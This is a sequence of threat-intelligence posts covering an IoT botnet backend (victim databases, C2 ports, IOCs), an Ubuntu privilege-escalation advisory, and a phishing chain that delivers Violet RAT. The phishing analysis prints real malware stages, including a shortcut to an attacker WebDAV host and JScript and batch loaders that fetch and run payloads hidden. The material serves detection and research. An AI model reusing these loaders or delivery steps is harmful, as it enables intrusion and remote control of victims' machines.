Collectively, the exposed files show how the environment was likely operated: payloads were generated and staged, implants checked in to victim databases, listeners were configured through SQLite state, tasks and scan results moved through backend components, and selected devices were used for scanning or proxy-style runtime deployment. This section connects those layers into an operator workflow instead of re-listing every recovered file, and builds on the interactive administration evidence from Section 5: several of the components discussed below (ts, es, dnslog) match the screen session names recovered from .bash_history.

Figure 1: High-level operator workflow reconstructed from device and exposed-backend evidence.

6.1 Staging and Config Generation

As described from the device-side evidence in Section 2.2.1, short-token paths such as hqsz* appeared in HTTP delivery URLs for generated payloads with per-sample configuration. These tokens should be read as staging paths, not as stable local filenames. Older i386/MIPS samples carried XOR-encoded embedded config, while later MIPS xbeacon-style samples carried encrypted config appended to the end of the file. The recovered configs exposed values such as host, port, architecture, and a 16-byte identifier.

After visible staging moved from /tmp/ to /var/tmp/, the device logs no longer showed hqsz* delivery URLs. Tokenized generation may have continued server-side, but it was no longer visible in the same way from the device evidence.

6.2 Implant Online and Victim Databases

The exposed backend contained two SQLite databases with victim records, stored in tables literally named clients in the recovered schemas; we use “victim” in prose and reserve “client”/”clients” for the literal database and table names. These databases provide the clearest backend-side view of the infected-device population observed in the dump. Their timestamps and row counts also help describe how the backend population changed during the observed period.

Two database populations were present:

move/c2old/.bdb: 9,034 victim rows
xserver/.bdb: 2,914 victim rows

Despite the c2old path name, move/c2old/.bdb did not appear to be a cold archive. Its clients table stored create_time and update_time values for all 9,034 rows, and the aggregate create_time values showed continued growth across the observed period:

Period based on `create_time`	New victim rows	Cumulative victim rows	Interpretation
February 2026	2,552	2,552	The database was already being populated in February.
March 2026	5,439	7,991	March represented the largest observed growth phase.
April 2026	1,043	9,034	New rows were still being added into April 2026.

Additional timestamp and binary evidence supports that interpretation. The largest create_time clusters occurred on February 5, 2026 (2,004 rows), March 11, 2026 (2,139 rows), and April 12, 2026 (932 rows), indicating bursty enrollment rather than steady linear growth. update_time values extended to April 20, 2026, and c2_old contained SQL logic for updating victim status and update_time, indicating that existing rows could still be refreshed near the dump date.

We interpret c2old as a filesystem label for an older or separate component. The database contents and timestamps show that it was still relevant near the dump date.

Our controlled honeypot device appeared in both populations. This supports the operational hypothesis of multiple backend streams or generations, but not exact old/new lineage by itself.

6.3 Victim Geography and Operator-Side Target Segmentation

The exposed victim data indicates a globally distributed infected-device population. The strongest evidence comes from move/c2old/.bdb, which contained 9,034 victim rows and 183 distinct populated area values.

The framework’s stored area values were Chinese-language labels and did not provide a fully normalized country-level view. They mixed countries, cities or provinces, and broader regional descriptors. To standardize the geography assessment, we enriched the public IP values from move/c2old/.bdb with our GeoIP dataset. The GeoIP enrichment resolved all 9,034 rows to country-level results across 140 countries.

Figure 2: World heat map of move/c2old victim rows by country, based on our GeoIP lookup.

Top exposed victim countries in move/c2old/.bdb:

Rank	Country	Victim rows	Share
1	Russia	953	10.5%
2	Italy	790	8.7%
3	United States	693	7.7%
4	France	549	6.1%
5	Brazil	459	5.1%
6	Taiwan	419	4.6%
7	Ukraine	410	4.5%
8	Bulgaria	306	3.4%
9	Sweden	284	3.1%
10	South Korea	264	2.9%

To compare the second victim database on the same basis, we applied the same GeoIP enrichment to the public External values in xserver/.bdb. The lookup resolved all 2,914 rows across 75 countries. The resulting distribution differs from move/c2old/.bdb. However, our controlled honeypot device appeared in both databases, supporting a relationship between the two populations without making them interchangeable.

Top exposed victim countries in xserver/.bdb:

Rank	Country	Victim rows	Share
1	Italy	591	20.3%
2	France	457	15.7%
3	United States	278	9.5%
4	Switzerland	218	7.5%
5	Sweden	167	5.7%
6	South Korea	147	5.0%
7	Austria	111	3.8%
8	Taiwan	105	3.6%
9	Spain	76	2.6%
10	Germany	76	2.6%

Tooling Geography and Operator-Side Labels

Separate from victim geography, the recovered tooling also contained indicators of how geography and scan output were handled inside the operator environment.

The c2_old binary also contained QQWry references. QQWry is a Chinese IP-to-region database family used to map IP addresses to geographic or network-provider labels.

Chinese-language comments and status strings also appeared in several scripts and logs. We treat these as operator/tooling-language indicators. Examples include:

xserver/protocol.py: 通信协议定义（服务端 & 客户端共用） => communication protocol definition shared by server and client
nmap/ikuai_get _version.py: 开始扫描 ... 个目标 => start scanning … targets
nmap/ikuai_get _version.py: [成功] => success
nmap/ikuai_get _version.py: [失败] => failure
wget/totolink/asp/1.sh: 下载 mps => download mps
wget/totolink/asp/1.sh: 删除自身 => delete itself
move/es.log: 任务完成 => task completed
move/es.log: 发送任务结果 => send task results
move/es.log: 存活 ... 个 => alive … entries

The public-target scan workspace showed another kind of segmentation: grouping by result filename. nmap/hosts.txt contained 96,021 entries, while adjacent result files included sorted_results.NoCn.txt and sorted_results.tw.txt. Those names suggest operator-side grouping such as non-China and Taiwan-focused result sets. This is workflow evidence for how scan output was organized.

6.4 Listener and Tasking Configuration

The recovered backend stored victim records and runtime configuration. Several SQLite .cdb artifacts acted as runtime configuration for listener and tasking components. In local checks, changes to listener rows changed which listeners were opened by the recovered components. xserver/ts also bound :8888 from values in xserver/.cdb. This ties the database artifacts to executable backend behavior: the exposed files were not static templates but operational C2 infrastructure.

Tasking evidence appeared across both move/ and xserver/:

move/es_new: task message logging and correlation with task_results/*.json
xserver/es: POC/EXP task handlers and task-result persistence
xserver/ts: batch-shell execution and shell-response handling

The recovered move/task_results data also included decoded ports_detect results. Each six-byte raw_data record encoded an IPv4 address followed by a TCP port, linking log counters, JSON result files, and scan-result persistence. move/es_new also embedded a DeepSeek-compatible LLM client: recovered Go symbols included xserver/internal/es/ipindustry.(*llmClient).chat, analyzeIndustry, buildPrompt, parseResponse, and (*Uplink).handleIndustryDetect, alongside embedded deepseek-chat, https://api.deepseek[.]com/v1, Authorization, and Bearer strings. The call chain covers prompt construction, an LLM chat call, response parsing, and an industry-detection handler. Taken as a whole, it points toward automated victim classification: the model is asked to label the industry or sector of a compromised host from collected metadata. We read this as target-triage tooling, not as AI-assisted exploit development.

Scanning was implemented through several paths. move/c2old/c2_old contained a Redis-backed bot/portscan subsystem with bot state, port-scan start/end handling, and export-to-file behavior. move/es_new logs recorded ports_detect tasks, progress callbacks, result sizes, and follow-up download_task messages. In xserver/, the concrete device-side LAN scanner was the gogo.sh launcher and gogo_linux_mips binary, described in Section 2.2.3. On the controlled Zyxel, we observed script delivery, local scan execution, JSON result generation, and result upload back to the operator backend. Scanning therefore extended through infected devices into networks the operators could not reach directly.

The exposed dump also contained a separate nmap/ workspace for public-target fingerprinting. We assess that workspace as distinct from the bot-driven scanner and the gogo LAN-scanning path.

6.5 Proxy and Tunnel Functions

The recovered evidence also pointed to proxy and tunneling functionality alongside implant and tasking workflows. Relevant indicators appeared across several layers:

xserver/ts: proxy-message decoding paths
Go MIPS runtime: WSS and SSH reverse-proxy functionality compatible with IPRoyal/Pawns-style residential-proxy clients
process-memory strings: forwarded-tcpip, traffic_sold, and access_token

These indicators, read together, show that the operation used compromised devices for proxy or tunneling capability alongside C2 management and scanning; we limit that conclusion to the observed artifacts and devices.

6.6 Device-to-Dump Correlation

The device evidence and the exposed dump connect at several independent layers.

First, decoded implant configurations provided a direct network-level pivot. Among the endpoints recovered by the extractors described in Section 2.2.1 was 13.210.186[.]13:8888, the same host and port associated with the exposed xserver backend from which the dump was obtained. The dump also contained an xserver/.cdb listener configured for port 8888, and xserver/ts was observed binding that listener from the database. Second, the gogo.sh / gogo_linux_mips scanner pair matched between the device evidence and xserver/ upload paths by hash; on the controlled Zyxel, we observed the same workflow execute and return scan output. Third, the controlled device appeared in both move/c2old/.bdb and xserver/.bdb, with victim-specific fields withheld, tying the observed device to both backend database populations.

The large Go MIPS runtime provides another direct link. The runtime recovered from the Zyxel and xserver/ts_upload/mips in the dump matched by SHA-256 and Go BuildID. On the device, the same runtime exposed IPRoyal/Pawns-compatible proxy behavior in process memory.

These links connect the exposed dump to the observed device activity at network, file, database, and workflow level. We therefore treat the dump as server-side operational context for the same activity, while keeping campaign naming and actor attribution out of scope.

7. Analytical Limits and Open Questions

This report is based on device-side evidence, exposed server-side files, shell history, timestamps, recovered databases, logs, and local runtime checks. These sources provide a strong view of the operator environment, but not a complete forensic image of the exposed host. The following limits define the scope of the assessment.

Actor Identity

Recovered strings, language indicators, and workflow traces provide context about tooling and the operator environment, but they do not identify a specific actor. Identity-side telemetry and infrastructure pivots provided the initial lead, but the recovered evidence does not support naming a specific actor. We therefore keep this report focused on infrastructure, tooling, workflow, and victim-side observations.

Database and Implant Streams

The two victim databases and the observed hqsz configuration identifiers are consistent with multiple streams, generations, or backend components. They do not establish a strict one-to-one mapping between implant generation and database population. The later move from /tmp to /var/tmp also changed what was visible from device logs, so server-side tokenized generation may have continued outside our device-side view.

Proxy Runtime Provenance

The large MIPS runtime recovered from the Zyxel matched xserver/ts_upload/mips in the dump by hash and BuildID, and it showed IPRoyal/Pawns-compatible behavior on the device. The compared Pawns samples suggest that this runtime was not the current official Pawns client. Further provenance analysis could distinguish older official build, fork, rebuild, wrapper, or clone scenarios, but the operational linkage remains: the same proxy-capable runtime appeared on the device and in the exposed dump.

Current Activity and Botnet Purpose

Since early July 2026, our honeypot has not observed further activity from this cluster. Before that pause, what we saw on the device was narrow: the large MIPS runtime with IPRoyal/Pawns-compatible proxy behavior accounted for nearly all observable activity, alongside a single gogo LAN scan. The wider capability set of the recovered backend, including tasking, POC/EXP handlers and batch shell execution, was never exercised against our device.

The two views therefore differ in scale. On the device, proxy monetization was the dominant observable behavior. In the backend, it is one function among many. Whether the proxy traffic is the business model, a side revenue stream, or cover for selective tasking of a smaller victim subset is a question a single honeypot cannot answer.

VS Code Operator Traces

The VS Code Remote artifacts document operator workflow on the exposed host, including remote alias data, edited files, metadata probes, and tunnel-related activation artifacts. We use these traces as workflow evidence, not as proof of operator identity, workstation identity, concrete tunnel endpoints, or successful credential access.

8. Conclusion

There was no obvious malware incident at the start of this case. What we had was quiet authentication telemetry: a handful of structured login attempts that, viewed in isolation, could easily have been dismissed as noise.

The customer-approved analysis of the affected Zyxel device changed that picture. On the device, we found staged payload delivery, web-request-launched execution, decoded C2 configuration, local-network scanning, and a large MIPS runtime with proxy capability. Those artifacts showed that the authentication lead was connected to real embedded-device compromise.

The decoded implant configuration then gave us concrete infrastructure pivots. Follow-up monitoring led from the compromised device to exposed backend infrastructure. When parts of that backend became visible, we could compare the device-side evidence with server-side files instead of looking at each layer in isolation.

The exposed dump was not just a repository of payloads. It showed an operator working environment. The recovered files connected the Zyxel evidence to staging services, generated or staged MIPS artifacts, SQLite-backed victim and listener state, tasking and scan workflows, DNS and HTTP callback utilities, proxy runtime deployment, shell history, and VS Code Remote workflow traces.

Layered up, this is an operational IoT botnet environment. The operation combined payload staging, C2 state management, tasking, scanning, proxy or tunneling capability, and hands-on server administration. We do not assign a final actor name or a single campaign label, but the technical picture is clear: identity telemetry, embedded-device forensics, network staging, backend databases, and reverse-engineered C2 behavior all pointed into the same ecosystem.

The main value of this case is the connection between those layers. A weak signal in authentication telemetry became meaningful when paired with device evidence. Device evidence became actionable when decoded configurations led to infrastructure. Infrastructure exposure then showed how the backend managed victims, listeners, tasks, scans, and proxy-capable runtimes. That cross-layer chain turned a small authentication anomaly into a view of how an IoT botnet operation was built and run.

9. Infrastructure and IOC Notes

The following indicators are useful for detection and enrichment. They are defanged and should be validated against local telemetry before blocking.

Network

Value	Note
`38.180.190[.]115`	First observed `xserver` C2/staging generation in device and honeypot context.
`154.213.177[.]40`	Intermediate `xserver` C2 generation.
`13.210.186[.]13`	C2 generation from which the exposed dump was obtained.
`94.74.85[.]247`	Later active HTTP staging/check generation.
`log.mu091i[.]com`	DNSLog callback/check domain suffix.
`*.log.mu091i[.]com`	Passive-DNS pivot for botnet-member or task-callback discovery; validate against local telemetry.
`sd.clubde[.]xyz`	Decoded later implant C2 hostname; observed with port `8888`, and DNS later resolved it to `94.74.85[.]247`.
`api.iproyal[.]com`	Upstream service used by the large proxy runtime.
`t1.xshaon123[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`a1.xshaon123[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`t1.xmsae[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`a1.xmsae[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`t1.ishano456[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`a1.ishano456[.]sbs`	Built-in task/report host observed in `move/df/lvm01`.
`yy.mu091i[.]com`	Config-like domain decoded from one `df/mips` sibling.
`kk.t81m[.]com`	Config-like domain decoded from one `df/mips` sibling.

Hashes

The zysocks5-related file hashes and infrastructure indicators observed on the customer device are listed with context in Section 2.1.

SHA-256	File name	Note
`eb19b63001dbcd57f117e0cbd5a2b9b7a56dc4d75e8510b7d87107c6ad2e7859`	`mips`	Large Go MIPS runtime; hash-matched the infected-device artifact.
`98dd339e22e6fd2d8bedc5124f2b410d3f19f946abe296a95a366a0c6b4e4143`	`gogo_linux_mips`	Device-side LAN scanner binary.
`6e92265e1af5ead4ae28775e35940c6d9857894acc2d504d22d801b04fbc1531`	`gogo.sh`	Launcher for `gogo_linux_mips`.

Hashes prove identity only for the exact files listed. Similar filenames elsewhere in the dump should not be treated as identical without hash comparison.

Certificate Fingerprints

Several C2 components embedded or exposed reusable TLS material. These fingerprints are useful pivots, but they should be tied to component context because some material is present but not fully proven to be used on every path. The listed Common Names (e.g. CN=example.com, CN=MyCA, CN=AA, CN=DD, O=Acme Co) are the literal values extracted from the binaries and certificate material, not anonymized substitutions; their generic, template-like naming is itself notable and consistent with unmodified example or default certificates from the underlying framework code rather than operator-customized identities.

Component	Certificate	SHA-256 fingerprint	Notes
`move/c2new/c18`	Leaf `CN=example.com`, issuer `CN=MyCA`	`2B:45:2C:34:EE:2B:E0:D3:8E:67:8D:08:9D:24:6A:10 E0:04:48:FC:9B:3E:9F:93:99:13:A5:67:42:E7:F8:7C`	Extracted from embedded PEM chain; mTLS interaction worked with extracted material in lab.
`move/c2new/c18`	Self-signed CA `CN=MyCA`	`C0:8A:C1:66:DA:A2:11:F9:38:A0:87:80:DC:DA:DC:DA 87:B7:36:5B:F6:C4:F9:C7:2B:22:13:59:FA:71:78:3F`	CA for the `example.com` chain.
`move/es_new`	Server leaf `CN=AA`, issuer `CN=DD`	`97:47:F3:11:DB:F1:FC:0F:AA:3C:F1:FE:6C:F6:2F:4B 95:EC:AF:61:F0:E0:3F:30:57:80:62:AE:AE:4F:4F:F6`	Extracted from Go arena; server required client certificate.
`move/es_new`	Self-signed CA `CN=DD`	`15:14:CD:39:4E:6A:FA:49:33:DE:C7:3B:D5:95:00:A0 0A:3A:50:3E:48:9C:69:1F:9B:49:FE:F9:2B:C1:62:D4`	Client certificate or CA private key was not recovered.
`xserver/ts`	Leaf-ish cert `CN=AA`, issuer `CN=DD`	`97:47:F3:11:DB:F1:FC:0F:AA:3C:F1:FE:6C:F6:2F:4B 95:EC:AF:61:F0:E0:3F:30:57:80:62:AE:AE:4F:4F:F6`	Embedded PEM material; TeamServer TLS listener reported `mTLS=true`.
`xserver/ts` / `xserver/es`	Self-signed CA `CN=DD`	`15:14:CD:39:4E:6A:FA:49:33:DE:C7:3B:D5:95:00:A0 0A:3A:50:3E:48:9C:69:1F:9B:49:FE:F9:2B:C1:62:D4`	Shared CA material observed across xserver TLS components.
`xserver/es`	Self-signed `O=Acme Co` cert	`46:81:74:FD:18:AE:99:0A:0A:1E:10:56:8E:30:F9:81 9A:8A:CD:23:22:4C:31:9F:4E:C3:EB:4F:6F:29:80:D9`	Present after unpacking; usage remains unresolved and it does not match the server RSA key used for the proven TLS path.

Ports

Port	Note
`8888`	`xserver` TCP listener candidate for implant uplink.
`1098`	HTTP staging; dump host fingerprinted as Python `SimpleHTTPServer`, later staging process unresolved.
`7268`	HTTP token/check behavior; hardcoded in `httplog`.
`14443`	TeamServer TLS/mTLS.
`14444`	QUIC.
`33355`	ES TLS/mTLS.
`33356`	QUIC.
`15687`	`c2_old` listener.
`23323`	File-server role in multiple components.
`8765`	MikroTik brute-force service in `move/es_new`.
`8099`	Post/check style server behavior in file-server tooling.

SetRootLanguage: Local privilege escalation in Ubuntu via AccountsService

2026-07-21T00:00:00+00:00

A two-bug chain in Ubuntu’s AccountsService language update path allows any local user to obtain local root access. We call the vulnerability chain “SetRootLanguage” because a single call to the SetLanguage D-Bus method is all it takes to end up with root. The only prerequisite is that at least one non-English language pack is installed on the system. This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems. The discovery came from targeted research into privilege escalation vectors in the Ubuntu desktop stack. The vulnerabilities were responsibly disclosed to Canonical and assigned CVE IDs. Ubuntu security advisories for all affected releases were published on the coordinated release date of 2026-07-21 16:00 UTC.

Affected versions, fixes and mitigations

The following table lists the affected Ubuntu distributions as of the coordinated release date:

Ubuntu Release	Codename	Status	Fixed package
26.10	Stonking	Fix Released	accountsservice 23.13.9-8ubuntu7, libaccountsservice0 23.13.9-8ubuntu7
26.04 LTS	Resolute	Fix Released	accountsservice 23.13.9-8ubuntu5.2, libaccountsservice0 23.13.9-8ubuntu5.2
24.04 LTS	Noble	Fix Released	accountsservice 23.13.9-2ubuntu6.1, libaccountsservice0 23.13.9-2ubuntu6.1
22.04 LTS	Jammy	Fix Released	accountsservice 22.07.5-2ubuntu1.6, libaccountsservice0 22.07.5-2ubuntu1.6
20.04 LTS	Focal	Fix Released (ESM)	accountsservice 0.6.55-0ubuntu12~20.04.7+esm1 (Ubuntu Pro)
18.04 LTS	Bionic	Fix Released (ESM)	accountsservice 0.6.45-1ubuntu1.3+esm2 (Ubuntu Pro)
16.04 LTS	Xenial	Fix Released (ESM)	accountsservice 0.6.40-2ubuntu11.6+esm2 (Ubuntu Pro)
14.04 LTS	Trusty	Fix Released (ESM)	accountsservice 0.6.35-0ubuntu7.3+esm4 (Ubuntu Pro)

Fix and mitigation

Canonical published Ubuntu Security Notices covering all affected releases on 2026-07-21:

USN-8580-1: Ubuntu 26.10, 26.04 LTS, 24.04 LTS, 22.04 LTS
USN-8580-2: Ubuntu 20.04 LTS, 18.04 LTS, 16.04 LTS, 14.04 LTS (requires Ubuntu Pro)

Apply the available security updates immediately:

sudo apt-get update && sudo apt-get install --only-upgrade accountsservice libaccountsservice0

If updates cannot be applied immediately, note that the vulnerable branch in set-language-helper is only reached when at least one non-English language pack is installed. Removing non-English language packs prevents the vulnerable code path from being triggered, but is not a reliable long-term safeguard and should not be substituted for patching.

A language request that speaks root

During targeted local privilege escalation research, we turned our attention to the Ubuntu desktop stack, specifically the D-Bus services that manage user account settings. AccountsService is a daemon that lets desktop sessions read and modify account properties such as the display name, icon, and preferred language. It ships and runs by default on Ubuntu as root.

Root process, shell scripts, user-controlled input. We found the collision we were looking for. The vulnerability is a two-bug chain that allows any local user to obtain a root shell with a single D-Bus call. The first bug is an incomplete privilege drop in AccountsService, which sets only the effective UID to the unprivileged user before launching Ubuntu language helper scripts. The second bug is a shell injection by attacker controlled input. However, a successful exploitation requires that at least one non-English language pack is installed on the system.

Proof-of-Concept

Currently we do not share detailed technical information on the exploitation or a proof-of-concept (PoC) for the vulnerabilities, as this could be misused by malicious actors. We plan to update this blog post with a technical write-up at a later time.

Advisories

CVE-2026-61897: AccountsService sets only effective UID before launching Ubuntu language helpers, leaving real UID as root and allowing any subsequently spawned shell to regain full root credentials
CVE-2026-61898: Ubuntu language helper scripts embed unsanitized attacker-controlled input, enabling shell injection via the sed execute flag (/e)

Credits

The vulnerability chain was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems.

If you have questions regarding this research or are interested in our security offerings, including Red Team assessments, feel free to contact [loading (JS)…].

Timeline

2026-06-23: Initial vulnerability report to Canonical/Ubuntu Security Team.
2026-06-24: Acknowledgment of receipt and initial triage.
2026-07-13: CVE-2026-61897 and CVE-2026-61898 have been assigned to the issues.
2026-07-21: Coordinated responsible disclosure: Canonical releases patches and this blog post is published.
2026-07-27: Added fixed package for Ubuntu 26.10 (stonking)

From Dropbox to Violet RAT v5: A Multi-Stage WebDAV Delivery Chain

2026-07-07T00:00:00+00:00

Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers.

Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory.

Rodent Weed - Cluster Definition and Observed Tradecraft

Rodent Weed is the tracking name Telekom Security uses for a recurring phishing operation observed since 2024. The activity has continued to evolve over time, with changes to lure formats, delivery wrappers, and final payloads. This report represents the latest checkpoint in that ongoing tracking effort.

Across observed campaigns, Rodent Weed has primarily varied the initial wrapper and final payload, while the intermediate staging and execution workflow has remained largely consistent.

In 2024, the activity was observed using SVG attachments as the initial wrapper. These files contained a small amount of Base64-encoded JScript that displayed a decoy PDF and directed the victim to a WebDAV share opened in Windows Explorer. From there, a .pdf.lnk file using an invoice-themed filename downloaded Python and executed the payload. In early 2025, the operator introduced new wrapper formats in quick succession. One campaign used an HTML file assessed as likely abusing CVE-2024-38213 to bypass Mark-of-the-Web protections before reaching a similar WebDAV share and deploying both DcRAT and AsyncRAT. Another campaign used a ZIP archive containing a .url shortcut, which led through a .pdf.lnk file and VBScript before delivering XWorm and AsyncRAT.

By mid-2025, Dropbox began appearing as the hosting infrastructure, while the campaigns continued to rotate across commodity RAT payloads.

By December 2025 the chain had grown an extra hop or two, a Dropbox .pdf.zip opening a .pdf.lnk, then a .wsh, a .wsf, VBScript, and a batch loader, and it finished by dropping four binaries at once, a stealer, two copies of XWorm, and AsyncRAT. In March 2026 a Telekom-themed wave put a convincing decoy PDF back in front of the victim and labelled its payloads by role, stager, startup, and malware.

Across these waves, the intermediate staging and execution workflow remained largely consistent. Explorer opens a WebDAV share over a TryCloudflare tunnel, a script and batch chain unrolls, a portable Python runtime lands, and Donut runs the real payload in memory. Only the wrapper and the final RAT typically change.

This recurring pattern is also visible outside our own telemetry. Other vendors have independently documented overlapping delivery chains over the past year. Forcepoint X-Labs described the Dropbox to TryCloudflare WebDAV to Python variant in early 2025. Trend Micro published a multi-stage analysis in January 2026 that lines up closely with what we have seen, though we did not observe the browser cookie injection they reported. This difference reinforces that individual waves can vary in implementation details. Securonix documented the embedded Python loader and in-memory injection into explorer.exe under the name VOID#GEIST, and SonicWall analyzed a Violet RAT campaign built on the same multi-stage Python loader, calling home on the same C2 port we observed here. Links are in Related reporting.

Key Observations

The campaign analyzed in this report was observed in late March 2026 and used Telekom invoice-themed phishing emails to deliver Violet RAT v5. The execution chain from initial lure to C2 communication is described below.

The victim received a phishing email containing a link to a Dropbox-hosted ZIP archive, which contained a single Windows Internet Shortcut (.url). When opened, the shortcut directed Windows Explorer to a WebDAV share exposed through a temporary TryCloudflare tunnel, where a PDF-disguised shortcut initiated the next stage of execution. From that point, the chain progressed through Windows Script Host (WSH), JScript, batch files, an embedded Python runtime including a Python loader, and Donut-based injection into explorer.exe.

The Python loader established persistence via the Startup folder and ultimately delivered Violet RAT v5, which connected to 91.219.238[.]140:7000, transmitted an encrypted system profile, and then entered a recurring heartbeat loop.

Two aspects distinguish this case from previous waves. First, the final payload is Violet RAT v5, marking the first time we have observed this RAT at the end of a Rodent Weed execution chain. Second, the decoy PDF is absent. Earlier Telekom-themed campaigns usually opened a convincing decoy PDF to reduce suspicion while the chain ran, as recently as the February wave. Instead of presenting a benign-looking PDF, the analyzed case proceeds directly to the next execution stage after the victim opens the shortcut. Despite this behavioural change, the subsequent execution chain remained consistent with previously observed Rodent Weed activity.

One detail is worth flagging early. The phishing email used a Telekom-themed lure, while the file hosted on the WebDAV share was named DKM_00KS0095283.PDF.lnk. Previous Rodent Weed analysis has also identified filenames that did not align with the lure theme, including a DATEV-themed filename for example DATEV-Rechnung-Nr.381082026.wsh. It suggests the operator reused the same infrastructure and file set across more than one lure.

Figure 1 summarizes the observed infection chain, from the initial Telekom-themed lure to Violet RAT v5 execution and C2 communication.

Figure 1. Infection chain, from phishing lure to Violet RAT v5

Chain of Execution

From the invoice mail to a WebDAV folder

The observed email impersonated Deutsche Telekom with an invoice lure and link to a ZIP archive (Telekom_3426503572.zip) hosted on Dropbox. The archive did not contain an invoice but a single Windows Internet Shortcut file (.url), leaving the victim with only one visible item which further reinforced the appearance that a document had been delivered.

Subject: Ihre Telekom Festnetz-Rechnung Oktober 2025 (Buchungskonto:5605355625)
Sender: Telekom Deutschland GmbH {NoReply} <brendawolfe403[@]gasatmail[.]site>

Figure 2 shows the observed Telekom-themed phishing email, which included fabricated invoice-related identifiers such as customer and invoice numbers to increase credibility. These lure-specific values are redacted in the screenshot.

Figure 2. Telekom-themed phishing email that started the analyzed chain

The .url file pointed to a WebDAV resource using the Windows file:// URL format and the @SSL suffix.

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
IDList=
HotKey=0
URL=file://move-friendly-international-observed.trycloudflare[.]com@SSL/DavWWWRoot/dokumente?config=eyJwYXRoIjoiY29uZmlkZW50aWFsIiwibW9kZSI6InJlYWQifQ%3D%3D

File 1. Telekom_3426503572.url

The URL also included a Base64-encoded JSON parameter.

{"path":"confidential","mode":"read"}

This parameter does not appear to be required for standard WebDAV access. Based on the observed behaviour, it is likely decorative, operator-specific, or intended as light obfuscation.

The important part is how the chain reduces user suspicion and avoids browser-mediated download handling. The victim never lands on a normal web page. Windows Explorer opens the remote WebDAV location and presents it as if it were an ordinary folder. The cloud link is presented as a local-looking file browser, while browser-mediated download prompts and reputation checks are less visible to the victim.

Hosting the share behind trycloudflare.com lets the operator expose a backend service over a temporary HTTPS tunnel without ever registering their own domain. Blocking the resolved Cloudflare edge IPs is not recommended, as this is unlikely to remain effective and may disrupt unrelated legitimate services that rely on the same shared Cloudflare infrastructure. Domain pattern, URL pattern, WebDAV, and process chain detections are far more durable. During manual analysis, the WebDAV endpoint exposed a directory listing, as shown in Figure 3. This allowed the hosted files to be reviewed directly before reconstructing the subsequent execution chain.

Figure 3. WebDAV directory listing observed during manual analysis

The PDF disguised as a shortcut

The WebDAV share presented a single visible file, DKM_00KS0095283.PDF.lnk. The name and icon were chosen to look like a PDF document but instead it was a Windows Shortcut that executed wscript.exe to run a JScript file hosted on the same WebDAV folder. Separately, the same TryCloudflare-backed WebDAV infrastructure also exposed additional files in the parent directory. Figure 4 shows this parent directory view, which was reviewed during manual analysis and helped identify files used by later stages of the chain.

Figure 4. Parent WebDAV directory exposing additional files used in the execution chain

The shortcut metadata confirms that the apparent PDF was built to invoke Windows Script Host and execute a remote script from the same WebDAV location.

Relevant shortcut metadata

Field	Value	Interpretation
Arguments	`//B \\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\oa.wsh`	Executes a WSH file from WebDAV
Icon index	`11`	Visual masquerading as a PDF
Working directory	`C:\Windows\System32`	Ensures `wscript.exe` resolves correctly
Machine ID	`ec2amaz-vjnf8l9`	Consistent with an AWS EC2 Windows hostname pattern

The machine ID may provide a useful pivot point for further investigation. However, as it can be manipulated, it should be considered a low-confidence indicator. We currently have no supporting data to validate or correlate this identifier with other artefacts.

A short hop through WSH and JScript

The first script stage was oa.wsh, a small redirection layer that simply pointed to ccv.js on the same WebDAV share.

[ScriptFile]
Path=\\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\ccv.js
[Options]
Timeout=0

File 2. oa.wsh

This redirection keeps the shortcut command line concise and separates the primary execution logic from the LNK file. The ccv.js script then used Windows Script Host automation objects to copy final.bat from the WebDAV share to the local temporary directory and execute it in a hidden window.

with(new ActiveXObject("WScript.Shell")) {
   var target = ExpandEnvironmentStrings("%TEMP%\\r.bat");
   new ActiveXObject("Scripting.FileSystemObject").CopyFile(
       "\\\\move-friendly-international-observed.trycloudflare[.]com@SSL\\DavWWWRoot\\final.bat",
       target);
   Run("\"" + target + "\"", 0);
}

File 3. ccv.js

By this point the process chain looks like this, which is itself a useful detection trail.

explorer.exe
  -> wscript.exe
    -> ccv.js from WebDAV
      -> %TEMP%\r.bat

Batch staging and a portable Python runtime

final.bat relaunched itself hidden through PowerShell and created its working directory in %APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\ as shown in the code snippet below.

@echo off
if "%~1"=="hidden" goto main
powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -ArgumentList 'hidden' -WindowStyle Hidden"
exit

:main
set PYTHON_VERSION=3.11.8
set ARCH=amd64
set "BASEDIR=%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache"
if not exist "%BASEDIR%" mkdir "%BASEDIR%"
set ZIPFILE=%BASEDIR%\python_embed.zip
set PACKAGE_ZIP=%BASEDIR%\files.zip
set PERSISTENCE_SCRIPT=%BASEDIR%\add_to_startup.bat
set GETPIP=%BASEDIR%\get-pip.py
set LOGFILE=%BASEDIR%\setup.log
set SERVER_URL=https://move-friendly-international-observed.trycloudflare.com
set PACKAGE_FILE=files.zip
set PERSISTENCE_FILE=add_to_startup.bat
set PYTHON_URL=https://www.python.org/ftp/python/%PYTHON_VERSION%/python-%PYTHON_VERSION%-embed-%ARCH%.zip
set GETPIP_URL=https://bootstrap.pypa.io/get-pip.py
......

File 4. final.bat Snippet

The path is writable by the user but resembles legitimate Windows cryptographic storage, which makes it a convenient place to hide in plain sight. From there the loader installed a portable Python 3.11.8 runtime, installed the dependencies it needed, downloaded the encrypted payload package, and executed encrypted_loader.py.

